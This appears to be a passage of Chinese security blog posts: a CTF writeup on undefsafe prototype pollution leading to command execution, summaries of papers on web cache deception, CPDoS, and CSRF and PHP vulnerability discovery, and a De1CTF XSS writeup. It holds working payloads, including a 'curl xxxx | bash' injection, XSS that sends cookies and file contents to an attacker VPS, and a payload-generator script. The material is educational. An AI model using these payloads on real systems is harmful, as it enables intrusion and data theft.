"script-2": "free -m"
};
for (let index in commands) {
exec(commands[index], {shell:'/bin/bash'}, (err, stdout, stderr) => {
if (err) {
return;
}
console.log(`stdout: ${stdout}`);
});
}
res.send('OK');
res.end();
})
app.use(function(req, res, next) {
res.status(404).send('Sorry cant find that!');
});
app.use(function(err, req, res, next) {
console.error(err.stack);
res.status(500).send('Something broke!');
});
const port = 8080;
app.listen(port, () => console.log(`Example app listening at http://localhost:${port}`))
我们注意到其使用了undefsafe模块,那么如果我们可以操纵其第2、3个参数,即可进行原型链污染,则可使目标网站存在风险。故此首先查看undefsafe的调用点:1
2
3
4
5
6
7
8
9
10get_note(id) {
var r = {}
undefsafe(r, id, undefsafe(this.note_list, id));
return r;
}
edit_note(id, author, raw) {
undefsafe(this.note_list, id + '.author', author);
undefsafe(this.note_list, id + '.raw_note', raw);
}
发现在查看note和编辑note时会调用undefsafe,那我们首先查看get_note方法会被哪个路由调用:1
2
3
4
5
6
7
8
9
10
11app.route('/notes')
.get(function(req, res) {
let q = req.query.q;
let a_note;
if (typeof(q) === "undefined") {
a_note = notes.get_all_notes();
} else {
a_note = notes.get_note(q);
}
res.render('note', {list: a_note});
})
此时发现参数q可控,但对于undefsafe的3个参数,我们并不能完整控制第3个参数。
而对于edit_note方法:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15app.route('/edit_note')
.get(function(req, res) {
res.render('mess', {message: "please use POST to edit a note"});
})
.post(function(req, res) {
let id = req.body.id;
let author = req.body.author;
let enote = req.body.raw;
if (id && author && enote) {
notes.edit_note(id, author, enote);
res.render('mess', {message: "edit note sucess"});
} else {
res.render('mess', {message: "edit note failed"});
}
})
我们发现edit_note路由中会调用,同时此时id,author和raw均为我们的可控值,那么我们则可以操纵原型链进行污染:1
2
3
4edit_note(id, author, raw) {
undefsafe(this.note_list, id + '.author', author);
undefsafe(this.note_list, id + '.raw_note', raw);
}
那么既然找到了可以进行原型链污染的位置,就要查找何处可以利用污染的值造成攻击,我们依次查看路由,发现/status
路由有命令执行的操作:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17app.route('/status')
.get(function(req, res) {
let commands = {
"script-1": "uptime",
"script-2": "free -m"
};
for (let index in commands) {
exec(commands[index], {shell:'/bin/bash'}, (err, stdout, stderr) => {
if (err) {
return;
}
console.log(`stdout: ${stdout}`);
});
}
res.send('OK');
res.end();
})
我们进行简单测试:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15const undefsafe = require('undefsafe');
var note_list = {}
var id = '__proto__.aaa'
var author = 'skysec hack u!'
undefsafe(note_list, id + '.author', author);
let commands = {
"script-1": "uptime",
"script-2": "free -m"
};
for (let index in commands){
console.log(commands[index])
}
此时输出为:1
2
3uptime
free -m
skysec hack u!
那么为什么我们遍历commands的时候,会遍历到原型中我们污染增加的属性呢?1
https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Statements/for...in
在文档中可以看到:1
for...in 循环只遍历可枚举属性(包括它的原型链上的可枚举属性)。像 Array和 Object使用内置构造函数所创建的对象都会继承自Object.prototype和String.prototype的不可枚举属性,例如 String 的 indexOf() 方法或 Object的toString()方法。循环将遍历对象本身的所有可枚举属性,以及对象从其构造函数原型中继承的属性(更接近原型链中对象的属性覆盖原型属性)。
因此我们可以利用原型链污染的问题,增加一个我们可控的属性,利用status的命令执行功能令其执行。
那么对于exp的构造就非常简单了,首先构造原型链污染:1
2
3POST /edit_note
id=__proto__.aaa & author = curl xxxx | bash & raw = skysec;
再访问/status
路由,利用污染后的结果进行命令执行,即可获得shell,进行RCE。
原型链污染的攻击还是非常有意思的,下次可以多分析几个XD.
]]>前一篇文章介绍了Server Cache Poisoning在实际应用场景下,产生DOS攻击的利用方式。本篇文章则介绍Web Cache Deception在真实场景下的应用方式和测试情况。
本篇文章介绍的是发表在网络安全顶会2020 USENIX Security上的一篇文章:《Cached and Confused: Web Cache Deception in the Wild 》。
我们已经在之前的文章中介绍过Web Cache欺骗的问题,其在CTF场景下有比较多的应用,而本篇文章主要聚焦于其在真实世界场景下的利用与一些bypass方式。关于其简单原理的一些CTF应用,可以参见我们的第一篇文章:1
https://www.4hou.com/posts/RwoL
如上图所示,攻击者诱导受害者点击如下路由:1
/account.php/nonexistent.jpg
由于是第一次访问,Web Cache将其转发给源服务器,源服务器在解析时,由于中间件或者后端配置问题,将其解析为访问/account.php路由,并进行response,而此时Web Cache将其对应记录。当攻击者再次请求如下链接:1
/account.php/nonexistent.jpg
那么将会得到受害者account.php页面的内容,从而导致信息泄露,达成攻击。
对于这样一个问题,本文作者设计了一套工具,并测试其在真实世界下的效果如何:
首先作者表明,利用该攻击的场景为:网站有一些私有信息,只能由用户访问,但因为Web Cache欺骗,致使其他用户可以访问到这些数据。这就是一次WCD(Web Cache Deception)攻击。
首先作者进行了网站搜集,其建立一个种子池,然后使用启发式工具,发现池中网站的子域名,以此扩充数据集。然后对每个网站进行账户创建,此时分别创立2个用户:攻击者用户与受害者用户。此举旨在后期利用攻击者用户获取受害者用户数据。同时还会使用爬虫搜集攻击者与受害者的cookies信息,以判断WCD攻击是否需要依赖于Cookies。
值得注意的是,在搜集网站的时候,由于是利用种子池中的域名,进行启发式搜集,那么可能会存在如下情况,即爬虫可能遇到大量相似的url:1
2
3http://example.com/?lang=en
http://example.com/?lang=fr
http://example.com/?lang=cn
亦或是如下:1
2
3http://example.com/028
http://example.com/142
http://example.com/359
这样的遍历和循环非常的浪费时间,于是作者设置了上限,诸如此类的url,每个域名只随机挑选500个。
在上述准备工作完毕后,则使用工具以此测试每个url是否存在WCD攻击隐患。攻击做法如下:
1 | http://example.com/028 |
首先在其路径后拼接随机数.css文件:1
http://example.com/028/<random>.css
1 | csrf、xsrf、token、state、client-id |
作者首先在Alexa Top 5K网站中,选取了295个支持Google OAuth的网站,选取分布如下:
然后将其作为种子池,进行爬取并测试,结果发现如下:
在1470410个网页中,有17293个页面存在WCD攻击,同时发现对于使用Cloudflare和Akamai CDN的网站可能更容易受到威胁:
同时在受到WCD的网页中,其可以泄露的私密数据分布如下:
可以看到不仅用户名泄露较为严重,Sess ID、Auth Code等安全相关的信息泄露也存在一定比例。
并且通过对照观察,在使用cookie和不使用cookie时,攻击结果一致,这也说明WCD攻击不依赖于授权用户或带有cookie的访问者。这进一步提升了该攻击的危害性,降低了其攻击成本。
同时,作者还提出了相应的bypass方式,其发现不仅诸如如下请求方式可以进行WCD攻击:1
/account.php/nonexistent.jpg
使用其他一些手段也可以达成相应的目的:1
2
3
4/account.php%0Anonexistent.jpg
/account.php%3Bnonexistent.jpg
/account.php%23nonexistent.jpg
/account.php%3Fnonexistent.jpg
同时作者进一步加大了数据集,用于测试新的payload方式,同时发现其分布如下:
可见这些bypass方式可以有效的进行WCD攻击。
同时这些攻击也可以并存,例如既可以使用%0A进行WCD攻击,也可以使用%3F进行WCD攻击:
本篇文章作者分析探索了真实世界中WCD攻击的应用和分布比例,同时提出了一些新型的WCD攻击绕过方式,对于之后的测试或者做题中具有一定指导意义。
]]>在上一篇文章中,大致介绍了一些关于Web Cache的攻击方式及CTF中的一些出现。而本篇文章则会聚焦于Web Cache在学术前沿的一些攻击利用方式的探究。
本篇文章介绍的是发表在网络安全顶会2019 CCS的文章《Your Cache Has Fallen: Cache-Poisoned Denial-of-Service Attack》,主要介绍关于Server Cache Poisoning在真实世界的利用,以及所带来的Dos攻击。
关于什么是Server Cache Poisoning,还不知道的同学可以在之前的文章中做一些了解:1
https://www.4hou.com/posts/RwoL
由于Server Cache的存在,第一个访问者的request显得尤为重要,稍有不慎,那么就可能缓存下一个恶意的response,使后来的访问者受到威胁:
那么本篇文章研究的就是这个问题,即利用恶意的request,使Cache缓存恶意的response,让访问者受到拒绝服务攻击:
通过特定的request,可以使目标网站缓存不同的response,例如使静态资源,甚至网站不可用:
那么应该发送怎样的request,才会使Server Cache缓存恶意的request,从而导致拒绝服务攻击呢?
我们可以看到,攻击者可以发送一个带有恶意值(X-Malicious-Header)的request请求,而由于该请求是第一次请求,因此其不存在于Cache中,于是交由Origin Server进行处理,但是由于http header中存在非法值,导致Origin Server解析时出现400的错误,并进行response,而此时由于Cache服务器的设置问题,其错误的将请求example.org/index.html的请求,判定为response为400,从而导致以后的访问者再次访问该页面时,只能得到页面400错误的response,从而达成Dos攻击。
那么具体上,我们可以发送哪些恶意value使网站出现解析异常呢?
作者在此提出3种攻击方式:
1 | X-HTTP-Method-OverrideX-HTTP-MethodX-Method-Override |
假设请求发送形式为:1
2
3GET /index.html HTTP/1.1
Host: example.org
X-HTTP-Method-Override: POST
此时服务器则会认为该请求为POST请求,于是会返回:1
2
3
4HTTP/1.1 404 Not Found
Content-Length: 29
Content-Type: text/plain
POST on /index.html not found
从而导致请求资源方式的错误,以至于Cache服务器缓存404页面,而以后的用户,如果正常通过GET访问该网址,则会导致DOS攻击,回显404 Not Found:
对于HHO攻击,作者发现,如果request请求中某个http header属性值异常长,那么会导致目标服务器解析出现400 Bad Request问题。
那么假设攻击者请求:1
2
3GET /index.html HTTP/1.1
Host: example.org
X-Oversized-Header: Big value
则目标服务器将返回:1
2
3
4HTTP/1.1 400 Bad Request
Content-Length: 20
Content-Type: text/plain
Header size exceeded
那么当普通用户请求该网址时,就会访问到Cache中所记录的400 Bad Request页面,从而导致拒绝服务攻击。
但该攻击为什么会发生呢?我们知道例如CDN,是会对过长的request进行拦截的,并不会进行缓存或者发送至源服务器。
但对于一个request请求,其header长度通常被限制在8000 bytes以下,而例如Amazon CloudFront CDN允许的header长度却为24,713 bytes。因此如果攻击者发送的header长度为10000bytes,是可以通过CDN的拦截,并产生危害的。
对于HMC攻击,作者发现为了防止CRLF攻击,通常http会禁止value中带有\n或\r等符号,但由于Cache对此可能并不做过滤,那么就会产生语义上的gap,假设攻击者发送请求:1
2
3GET /index.html HTTP/1.1
Host: example.org
X-Metachar-Header: \n
由于该请求为第一次请求,Cache服务器将其转发给源服务器,而源服务器解析由于遇到危险字符,将会返回:1
2
3
4HTTP/1.1 400 Bad Request
Content-Length: 21
Content-Type: text/plain
Character not allowed
但由于Cache服务器对这些字符未必有过滤,于是将其对应缓存下来,那么当正常用户访问该页面时,将受到400 Bad Request的回显,从而产生Dos攻击。
作者为了验证自己的3种攻击方式的可用性,其选择5个较为出名的proxies caches以及10个CDN:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15Apache HTTP Server (Apache HTTPD) v2.4.18
Nginx v1.10.3,
Varnish v6.0.1
Apache Traffic Server (Apache TS) v8.0.2
Squid v3.5.12
Akamai
CloudFront
Cloudflare
Stackpath
Azure
CDN77
CDNSun
Fastly
KeyCDN
G-Score Labs
首先,为了达成Dos攻击,那么要求上述缓存服务器必须可以缓存400 / 500等http状态的页面,于是作者先对其做了测试:
我们可以发现,只有Varnish, Apache TS, Akamai, Azure, CDN77, Cloudflare, CloudFront可以缓存400 / 500的页面,那么后面的攻击测试也将聚焦于此。
首先是HMO攻击,对于请求方式覆盖的http属性,作者先测试了一下哪些后端框架是可以接受的:
不难发现,Play1、Symfony、Lavarel框架都是默认支持这一方式的,那么如果后端使用上述框架之一,都可能遭受HMO攻击的影响。
对于HHO攻击,由于其关键点在于header限制长度语义不对等的问题,于是作者测试了一些现有web框架,CDN等header限制的长度:
从图中不难看出,假设目标网站使用Play2作为网站后端框架,使用Azure作为缓存,那么即可能遭受HHO攻击,产生Dos攻击,因为Play2的header长度限制为8319bytes,而Azure为24567bytes,如果攻击者发送10000bytes的header进行request,那么就可能被缓存下400 Bad Request的状态。
对于HMC攻击,由于其依赖于服务端对http header中关键字符的过滤,而缓存服务器则无视的语义差异,于是作者也做了相应的测试:
我们可以看到,当http header属性中带有\t,对于Play2后端框架会发生400 Bad Request,而对于CDN Azure,可以正常放行,那么如此一来,攻击即可用\t来攻击Play2+Azure的组合,产生Dos攻击。
综上所述,可以发现不同CDN和不同后端的组合可能都会引入安全隐患,以下是总结列表:
我们发现对于使用CDN CloudFront的网站,非常容易受到HMO / HHO / HMC的攻击。而对于Varnish, Akamai, CDN77, Cloudflare或是Fastly则相对安全。
与此同时,作者还对真实世界的网站做了测试,查看有多少网站使用较为危险的CDN或中间件:
发现1200万的urls是使用CloudFront,证明HMO / HHO / HMC攻击的可用度比较高。
本篇文章基于Server Cache Poisoning的攻击原理,提出了CPDos攻击,可使用三种不同的攻击方式,使一些敏感CDN与web后端组合使用的网站出现DOS攻击,个人认为还是非常不错的。
]]>在前端的攻击中,一般活跃在大家视线里的可能都是xss居多,对于csrf这一块正好我也抱着学习的心态,了解到安全顶会有一篇自动化挖掘CSRF漏洞的paper,于是看了看,以下是相关知识分享。
CSRF可以分为两种,一种是authenticated CSRF,一种是login CSRF。
对于login CSRF,这里我们以曾经的价值8000美金的Uber漏洞为例:
在网站中,登录流程机制大致如下:
如果我们将somewhere改为google.com,那么流程将变为:
此时可以发现网站存在重定向的漏洞。如果此处我们将response_type=code
改为response_type=token
:
由于Oauth请求使用的是code并非access_token,所以此处重定向失败。
那么此处可以引入login CSRF攻击,为oauth2-callback节点提供有效的code值,那么即可将受害者的access_token带出重定向到我们的网站。
那么只要受害者点击链接:1
https://login.uber.com/oauth/authorize?response_type=token&scope=profile%20history%20places%20ride_widgets%20request%20request_receipt%20all_trips&client_id=bOYt8vYWpnAacUZt9ng2LILDXnV-BAj4&redirect_uri=https%3A%2F%2Fcentral.uber.com%2Foauth2-callback%3fcode%3d{攻击者的有效OAuth code}&state=%2F%2f攻击者控制的站点
攻击者即可在网站hackerone.com
收到受害者的access_token。
对于authenticated CSRF其实容易理解很多,即在用户登录后的页面里插入evil html,这里的方式可以多样化,例如可以利用xss,插入 HTML iframe tag,或者 self-submitting JavaScript code, 又或是使用XMLHttpRequest JavaScript API等等。
这里可以以一道CTF题目为例:https://xssrf.hackme.inndy.tw/
详细的题解可以参考我这篇文章:https://skysec.top/2018/08/17/xss-ssrf-redis/
这里我们简单提一下:
题目允许攻击者使用xss在发邮件处进行攻击,我们可以发送如下请求:1
2
3
4
5
6
7
8
9
10
11
12
13<svg/onload="
xmlhttp=new XMLHttpRequest();
xmlhttp.onreadystatechange=function()
{
if (xmlhttp.readyState==4 && xmlhttp.status==200)
{
document.location='http://vps_ip:23333/?'+btoa(xmlhttp.responseText);
}
}
xmlhttp.open("POST","request.php",true);
xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");
xmlhttp.send("url=file:///var/www/html/config.php");
">
当受害者访问到该存储性xss会显示的页面,即会自动使用request.php页面,发送post请求,访问file:///var/www/html/config.php,同时会将response重定向发送到我们的攻击服务器:http://vps_ip:23333/?'+btoa(xmlhttp.responseText),我们即可完成攻击,利用受害者获取一些数据。
两者区别在于authenticated CSRF建立于受害者已经登录授权后的攻击,而login CSRF的目的是让受害者使用攻击者的登录凭证。前者即利用登录后的受害者进行一些需要授权的操作,例如转账等等。而后者更倾向于攻击者利用自己的证书,让受害者登录。
而本篇文章中,作者主要研究的是authenticated CSRF的自动化动态分析和挖掘。
在设计中作者遇到了两方面的难题,一个是detection challenges,另一个是operational challenges。
1 | http://example.com/?newpassword=123123 |
对于上述链接,工具可能无法知道newpassword这个参数会带来状态转换,这是一个更改密码的操作,且新密码是123123。所以如何确定请求参数和状态转换之间的关系,成为一个难题。
作者为克服上述困难,开发工具基于php后端,mysql数据库的aCSRF自动检测工具:Deemon。
Traces and Parse Trees
对于事件发生的顺序和原因,Deemon对其建模,节点为事件Event,其具有两种关系edge:
next:事件之间发生的先后顺序
causes:事件之间发生的因果关系
而对于事件的内容,Deemon也对其建模,其具有2种edge:
child:对http request的解析后的内容部分,用child连接节点
parses:http请求 / sql查询与事件的解析关系(这实际上是2个model之间的关系了)
Finite State Machines
Deemon基于有限状态机进行建模,设立了2种节点和3种edge:
State节点代表某一具体状态,StateTrans节点代表中间状态,其中trans代表由某一具体状态转移到中间状态,to代表由中间状态转移到另一具体状态,而accept表示中间状态接受某一HTTP请求从而发生状态转移(这实际上是2个model之间的关系了)。
在模型建立完毕后,为了关联不同的model,作者在这里设定了一些Relationships:
作者从4个应用场景来选择了一些web application进行测试:
为了获取数据和捕获跟踪用于建模,工具会进行下列3种测试:
本篇CSRF自动化测试的文章,个人认为比较好的部分在于其建模,基于其完善的建模,对于漏洞的挖掘也可以变得高效而简单,值得学习。
]]>最近看到一些Web Cache方面的攻击,于是总结了一下,内容如下。
Cache是一种经典的用空间换时间的做法,其应用场景非常广泛,而本篇文章的聚焦点仅在于Web领域上,对于DNS等基础设施的相关cache攻击,也不在此讨论。
那么我们可以大致将Web Cache攻击分为2类:
1 | http://example.com/index.html |
在第一个人访问后,其页面response将会被CDN缓存,下一个请求者则会直接从CDN获取response,以此减轻服务器处理请求的压力,同时达到了防止Dos攻击的目的。如下图示例:
CDN不仅能起到防止Dos的作用,还能加快我们的请求速度,例如我们访问服务器,请求首先会被CDN处理,计算出response给我们的最优ip地址。举一个简单的例子,就好比原来只有北京一个车站卖票,南京的想要买票就要千里迢迢前往北京,而如今有了CDN就好比在南京也有卖票点,如此一来,省时省力,不仅减轻了北京卖票点的压力,也方便了顾客。
但凡是皆有利有弊,如果Cache被攻击者利用,也可以产生一些严重的攻击,本篇文章中,我们则聚焦于以下3种攻击:
对于浏览器缓存投毒,那么很好理解,其应该是影响浏览器缓存的文件,将其污染以达到攻击目的。那么可能被污染的文件有哪些呢?我们之前提过,浏览器一般缓存静态资源,那么攻击者的攻击目标也就是诸如JS、CSS的静态资源了。
这种攻击会产生什么样的危害呢?
我们可以看到,一旦我们的浏览器缓存资源被污染,当我们请求网站时,应用了污染的静态资源,则会产生xss一类的攻击。但这种攻击持久性会随缓存时间的到期而终止,又或者用户勤清缓存而解除。
但这样一种攻击是如何实现的呢?我们可以看下图:
当攻击者和受害者处于同一WiFi下,攻击者可以利用一些攻击手段,让自己成为受害者的代理,而当受害者请求目标网站资源时,攻击者可在中间修改。当目标网站response需要缓存的资源时,攻击者可将其替换为自己篡改的同名文件,以达到污染浏览器缓存的目的。
但考虑到缓存存在时效性,如果目标网站认为缓存过期,则污染缓存就会失效,因此如何最大化污染缓存时间成为一个新的问题,但这里我们可以采用如下做法:
我们可以首先对一些知名网站进行分析,查看他们缓存时间最长的文件,以决定我们污染文件的文件名。那么如何知道缓存时间呢?我们可利用Http Header的如下属性来查看:1
Cache-Control : max-age=1000
如此一来即可水到渠成,进行用户浏览器污染。工具如下:1
https://github.com/EtherDream/mitm-http-cache-poisoning.git
在介绍完用户浏览器投毒后,我们再来看一下服务器缓存投毒。之前我们有说过,服务器会缓存某个链接的第一个访问者的response内容,那么如果第一个人是攻击者,就很有可能让CDN错误的缓存污染内容,达成攻击:
但是服务器是如何判断2个请求者请求的是不是同一个页面呢?这里就要引入Cache Key的概念:
如上请求,服务器会判断橙色字部分,看其是否相同,若相同则对应同一个cache,但我们不难发现蓝色字体部分,此时2个访问者的response理应不同,因为他们对应的不同语言,但因为缓存机制的问题,导致第2个请求者看到了错误语言的页面。
再同理,我们看如下请求:
我们发现response页面中会拼接X-Forwarded-Host,那么假设我们是第一个请求者,此response将会被缓存,那么当下一个请求者再次访问如下链接:
很显然其将受到xss的攻击。
但是此类攻击有一个前提,即我们需要是第一个请求某个页面的人,那么如何做到这一点呢?
我们可以利用response里的Age和max-age,Age代表当前response的时间,而max-age代表该页面缓存何时会过期,以此我们即可计算出投毒时机。
那么如何保护网站免收此类攻击呢?这就要和我们之前提到的cache key有关,我们看如下请求:
如果我们利用Vary指定Cache Key为User-Agent,那么不仅需要2个访问者请求域名和url相同,同时需要2人拥有同样的User-Agent,才会命中同一块cache。
在说完Web Server缓存投毒后,我们再来看一下Web缓存欺骗。相较于前两种攻击,该攻击更为普遍,利用也相对容易。不乏其在CTF中出现的频频身影。
我们看如上案例,我们可以诱导管理员访问链接:1
http://10.2.122.1/secret.php/test.css
而服务器在处理该链接时,由于test.css不存在,其会向前解析,如下:1
http://10.2.122.1/secret.php
此时response页面即为secret.php的页面内容,而CDN对此不知,其认为当请求链接为:1
http://10.2.122.1/secret.php/test.css
response应为管理员的secret.php页面内容。
而后攻击者再次请求:1
http://10.2.122.1/secret.php/test.css
CDN将作出响应,将管理员的secret.php页面内容返回,造成信息泄露。
那么此种攻击在2019 CyBRICS CTF Quals或2019 XCTF Final都有出现,我们以2019 CyBRICS CTF Quals的一道题为例:
题目预设了request功能,同时注意到其http header:
同时结合题目提示:cache is vulnerabilities,那么可以判断此处应该为Web缓存欺骗的情况。
我们需要利用request功能,让其去请求flag页面,再利用缓存信息将内容带出。
因此我们首先可以读取主页内容,这里构造:1
http://95.179.190.31/index.php/skyiscool.js
此时缓存将会将此url记录,对应内容则为index.php的内容。
然后我们再次访问该链接,即可获取index.php内容:
那么再让题目携带csrf-token去请求flag即可:1
http://95.179.190.31/index.php/skyiscool.js?csrf-token=b04d2bc2f3d3654947ba82d59a2b367630743d3447dbc0af46182359f166c4bd%26flag=1
此时再请求缓存页面,即可获取flag:1
cybrics{Bu9s_C4N_83_uN1N73Nd3D!}
http://drops.xmd5.com/static/drops/tips-9947.html
https://skysec.top/2019/07/22/CyBRICS-CTF-Quals-2019-Web-Writeup/#Fixaref
https://www.blackhat.com/docs/us-17/wednesday/us-17-Gil-Web-Cache-Deception-Attack-wp.pdf
https://i.blackhat.com/us-18/Thu-August-9/us-18-Kettle-Practical-Web-Cache-Poisoning-Redefining-Unexploitable.pdf
这次介绍的是一篇发表在安全顶会2018 USENIX Security的paper,文章旨在自动化挖掘web漏洞,同时生成对应的exp,其比同类的工具拥有更高的准确度,由于其动静结合的特性,对代码也有更好的覆盖率。
首先我们从如下这样一个例子切入,来简单介绍一下web漏洞自动挖掘和通常一些静态分析的工具的做法。
例如如下3个代码片段:
selectBooks.php用于选择你想要借的书,代码如下:
hold.php用于额外的check输入,并引导用户到下一步操作,代码如下:
checkout.php用于结算,代码如下:
我们可以看到,在这样一个简单的功能实现上,其实出现了不少潜在的漏洞函数,例如selectBooks.php中的mysql_query可能会导致sql注入,又如checkout.php中的echo可能会导致XSS漏洞。
那么对于一些常规的静态分析漏洞挖掘工具,他们会怎么做呢?一般情况下,其会首先全局定位到漏洞函数的位置,例如selectBooks.php的第17行,checkout.php的第15行,然后对其参数利用PDG(数据依赖)的关系进行backward反向回溯。
例如selectBooks.php的第17行,我们使用PDG关系回溯,可以发现其影响的关键参数有3个,分别是$book_name,$edition,$publisher。他们又分别来自第5行,第9行和第13行。此时我们又会继续对第5行,第9行和第13行继续进行PDG回溯,而后发现他们都会经过过滤函数,那么此时回溯结束,静态分析工具粗略的判断其为安全的flow,因为其参数都会经过过滤。
我们再看checkout.php的第15行,利用PDG进行回溯,我们可以关注到2个变量,分别是$name和$msg,而后找到第 9行和第10行,此时我们发现第10行是攻击者可控的$_GET变量,那么此时该flow会被输出,并交由运行者进行check,判断其是否为误报。而对于对9行,我们却不太那么容易找到其真实的数据依赖,因为$result实际上来自于数据库内的数据,而非直接显示在代码中。
那么此时一般的静态分析工具的缺点便暴露无遗,其会受到数据库查询的约束而不能准确进行分析,且由于其依赖于PDG的后向回溯,很难去发现逻辑上的漏洞。
同时还有一个关键的问题,仅从代码上来看,似乎$msg我们可以找到一条攻击路线,但实际上,这是需要前期铺垫的,我们必须拥有session才能到达这一步,这为人工check也增加了不少不便捷性。
因此,本篇paper就是旨在解决这些问题,而提出了动静结合的web漏洞挖掘工具:NAVEX
那么我们来简单看一下,NAVEX是如何设计,用于解决上述问题的。
首先作者定义了一个字典:
其中记录一些关键的函数名,例如XSS,对应echo和print等,依次类推,作者一共记录了如下几类攻击的潜在漏洞函数:sql注入、XSS、文件包含、命令注入、代码注入和逻辑漏洞。
然后NAVEX一样会像平常的静态分析工具一样,对漏洞进行检测,其也会通过全局定位敏感函数,然后用上述思想,对关键变量进行PDG后向回溯,其伪代码如下:
运行结束后,程序会返回路径集,即从攻击者可控变量source($_GET、$_POST等)到潜在漏洞函数调用之间的变量传递。
值得一提的是,作者这里不仅仅使用了PDG的后向分析,同时其为了发掘逻辑上的漏洞,也会进行正向寻找。
然后作者会将提取出的约束放入Z3求解器进行约束求解。以备后续生成exp使用。
待上述操作结束后,程序进入动态分析,或者称为前端约束生成阶段。在这一步中,作者使用爬虫,爬取html页面中的信息和属性名,例如提取form表单或者js的相关约束:
然后同样会使用约束器求解,得到满足的input,并进行输入,但由于可能input也会受到后端的约束,因此为了防止爬虫由于未能正确input,不能到达下一步,作者对后端进行了监控,以探测在input后,后端是否会发生变化,例如进行数据库查询,或者改变了当前状态,例如全局变量的赋值(session,cookie等),或者新产生了变量等。以此断定爬虫的前段约束后得到的input是否生效,如果未生效,其会同时考虑后端约束,并再次求解,而后继续监控往复,直到成功input。
如我们最开始的例子中,此时会考虑到后端的约束,即$publisher的长度问题:
同时作者也考虑过了角色问题,在web网站中,通常会分为管理员和普通用户,那么为了最大的代码覆盖率,作者会存储管理员用户的登录凭证,以方便探测到管理员用户可能存在的潜在漏洞。
为了存储这些关系,作者定义了Navigation Graph,其为有向图:G = (N , E ),它的边代表了下一步跳转的意义,例如下图:
在我们第一步达到selectBooks.php后,在html模拟用户input,会来到下一个url操作:selectBooks.php?action=borrow,而这2个node之间则会产生一条edge,又前者指向后者。
同时对于每一个Node,其拥有一些属性,例如id为每一个node的唯一标识符,url为当前node的链接,form_params为表单的input,role存放管理员用户的登录凭证。
如此一来,在找到漏洞点后,作者即可找到一条可到达,并触发该漏洞函数的链接,如下:1
2
3
4
5
61. http://localhost/App/index.php
2. http://localhost/App/selectBooks.php with POST params:[book name=intro to CS by author1, edition=2,publisher=aaaaaaa]
3. http://localhost/App/selectBooks.php?action =borrow
4. http://localhost/App/hold.php
5. http://localhost/App/hold.php?step=checkout
6. http://localhost/App/hold.php?step=checkout &msg=<script>alert(”XSS”);</script>
最终成功将exp带入到6条语句,成功进行xss攻击。
作者对26个php cms进行了测试,php文件数量超过22.7k,列表如下:
对于sql注入,作者只关心了如下4种潜在的漏洞函数:mssql query, mysql query, mysqli query和sqlite query,并通过实验测试发现,在不到1小时的时间内,工具生成了105个sql注入exp:
可以看到在获得的结果里,均为true positives,以此显现了 NAVEX的高精度和高效率。
同样的,对于XSS和逻辑漏洞,在较短的时间内,都有不错的表现:
本篇文章的思路较为新颖,由于其动静态结合的方式,不仅可以一定程度上增加效率,并且能够有效的探测到一些普通静态分析工具不能检测出的漏洞。其贡献不仅在于学术上的创新,对我们cms审计也提供了不少的便利。
]]>五一的时候参与了一下De1CTF,里面有一道题让我印象很深刻:Animal Crossing。
题干描述如下:
可能作者很喜欢玩动森),进去之后是一个如下页面:
我们随机输入一些字符串后,来到下一页:
此时我们的url:1
http://134.175.231.113:8848/passport?image=%2Fstatic%2Fhead.jpg&island=vwev&fruit=&name=ewvc&data=vcwevcw
我们随机更改,页面会相应变化,同时发现有admin report界面:
那么很明显了,这应该是一个xss打管理员cookie的题目。
尝试fuzz了一下各个参数,发现攻击点应该在data参数上,但其过滤了大量的字符,并且设有csp,导致常规的xss做法并不适用:1
Content-Security-Policy: default-src 'self' 'unsafe-inline' 'unsafe-eval';object-src 'none';
发现我们的代码会被拼接在此处进行执行,那么首先进行闭合:1
view-source:http://134.175.231.113:8848/passport?image=%2Fstatic%2Fhead.jpg&island=vwev&fruit=&name=ewvc&data=%27||1111//
那么如何利用1111部分的代码,让我们达到执行任意代码的目的呢?
这里就和一些trick有关,我们看一个例子:
可以看到,对于toString,其会将其他值以字符串形式表示,特别的,对于对象,其会转换为[object Object],而对于数组,其会转换为Array.join(‘,’)的形式进行拼接。但是对于valueOf( ),其返回的则是自身。
那我们再看一个例子:
在一元加操作符操作对象的时候,会先调用对象的valueOf方法来转换,如此一来,我们可以利用这一特点,进行函数构造执行代码。那么我们回到题目中:
如此一来,我们就可以定义function内容:
那么我们再搭配上valueOf:
当然,代码中没有+1的操作,那么怎么触发valueOf呢?其实很简单:
如此一来,我们即可进行任意代码执行。
在可执行任意代码后,我们下一步就是进行location跳转打cookie:1
location='http://vps_ip?flag='+document.cookie
但是由于题目设置了较为恶心的waf,所以我们这里选择利用atob编码绕过:1
2
3
4
5
6
7
8
9
10
11
12
13
14import requests
from base64 import b64encode
s = """
location='http://vps_ip?flag='+document.cookie
"""
print(s)
data=b64encode(s.encode('utf-8')).decode('utf-8').replace('+', '%2b').replace('=','%3d')
url = "/passport?image=&island=&fruit=&name=&data=%27||{%22valueOf%22:new%20%22%22.constructor.constructor(atob(%27"+ data +"%27))}%2b1//"
print(url)
编写代码如上,以用于自动生成exp。
攻击后即可得到管理员cookie:1
FLAG=De1CTF{I_l1k4_
但很显然只有一半flag是不行的,于是想到读一下管理员页面信息:1
location='http://vps_ip?flag='+btoa(document.body.innerHTML)
得到信息解码后如下:
可以发现管理员界面有无数张图片= =,猜想flag要么是其中一张,要么是拼接所有图片得到。那么尝试访问目录访问图片,但发现均为500,无法直接访问。
于是这里想到方案有2种:
1.利用js截图,将页面带出
2.将图片全部传出来
在解题中我选择了第二种思路,那么如何把图片传出呢?这里我们发现题目还有一个上传功能,可以让我们上传头像,但是只允许png和jpg后缀,这也是为何我选择了第二种方法,因为后缀名没法bypass(但是后来交流发现,不需要bypass后缀= =,我太菜啦!)
那么这里的思路转变为让管理员将图片上传后,再将return的访问url传出到我们的vps,我们即可获取到图片,于是写出如下脚本:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27import requests
from base64 import b64encode
s = """
(async()=>{
const arr = []
for(let i=1;i<=9;i++) {
res = await fetch(`/island/test_$0{i}.png`)
data = await res.blob()
const os = new FormData();
const mf = new File([data], "name.png");
os.append("file", mf);
r = await fetch("/upload", {method: "POST",body: os})
data = await r.json()
arr.push(data.data)
}
